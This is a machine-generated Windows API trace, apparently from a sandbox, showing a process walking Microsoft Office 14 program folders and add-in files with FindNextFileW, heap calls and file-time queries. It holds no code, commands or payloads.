[0078.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4d68 [0078.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b3810 [0078.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.184] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x348000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU", cAlternateFileName="")) returned 1 [0078.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4d88 [0078.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b3918 [0078.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.185] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="")) returned 1 [0078.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4da8 [0078.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7d70 [0078.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.185] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="")) returned 0 [0078.185] GetLastError () returned 0x12 [0078.185] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0078.186] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.186] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.186] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea11a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x5f6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="")) returned 1 [0078.186] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea37bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZLIB.ACCDE", cAlternateFileName="")) returned 1 [0078.186] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x8f8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE", cAlternateFileName="")) returned 1 [0078.186] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5eaa9fd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xb39000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE", cAlternateFileName="")) returned 1 [0078.186] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x348000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU", cAlternateFileName="")) returned 1 [0078.186] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="")) returned 1 [0078.186] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="")) returned 0 [0078.186] GetLastError () returned 0x12 [0078.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.186] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.187] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0078.187] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c38c00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82c38c00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0078.187] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1 [0078.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.187] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" (normalized: "c:\\program files\\microsoft office\\office14\\addins"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" (normalized: "c:\\program files\\microsoft office\\office14\\addins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.188] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb090 [0078.188] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb090, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb090, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb090) returned 1 [0078.188] NtClose (Handle=0x170) returned 0x0 [0078.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.188] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0078.190] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.190] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0078.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.191] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x2e780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAddin.dll", cAlternateFileName="")) returned 1 [0078.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.191] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4065b100, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4065b100, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="")) returned 1 [0078.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.192] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0725100, ftCreationTime.dwHighDateTime=0x1bdbc1e, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0725100, ftLastWriteTime.dwHighDateTime=0x1bdbc1e, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0078.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4dc8 [0078.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7e80 [0078.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.193] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x5279f530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0078.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.193] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0078.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4de8 [0078.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7f08 [0078.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.194] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea7100, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdbea7100, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0078.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4e08 [0078.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7f90 [0078.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.194] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a70000, ftCreationTime.dwHighDateTime=0x1ca200c, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd8a70000, ftLastWriteTime.dwHighDateTime=0x1ca200c, nFileSizeHigh=0x0, nFileSizeLow=0x25348, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="")) returned 1 [0078.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.195] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6927e500, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6927e500, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0078.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4e28 [0078.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8018 [0078.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.195] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ef300, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x704ef300, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0078.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4e48 [0078.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab80a0 [0078.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.196] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x13b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0078.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 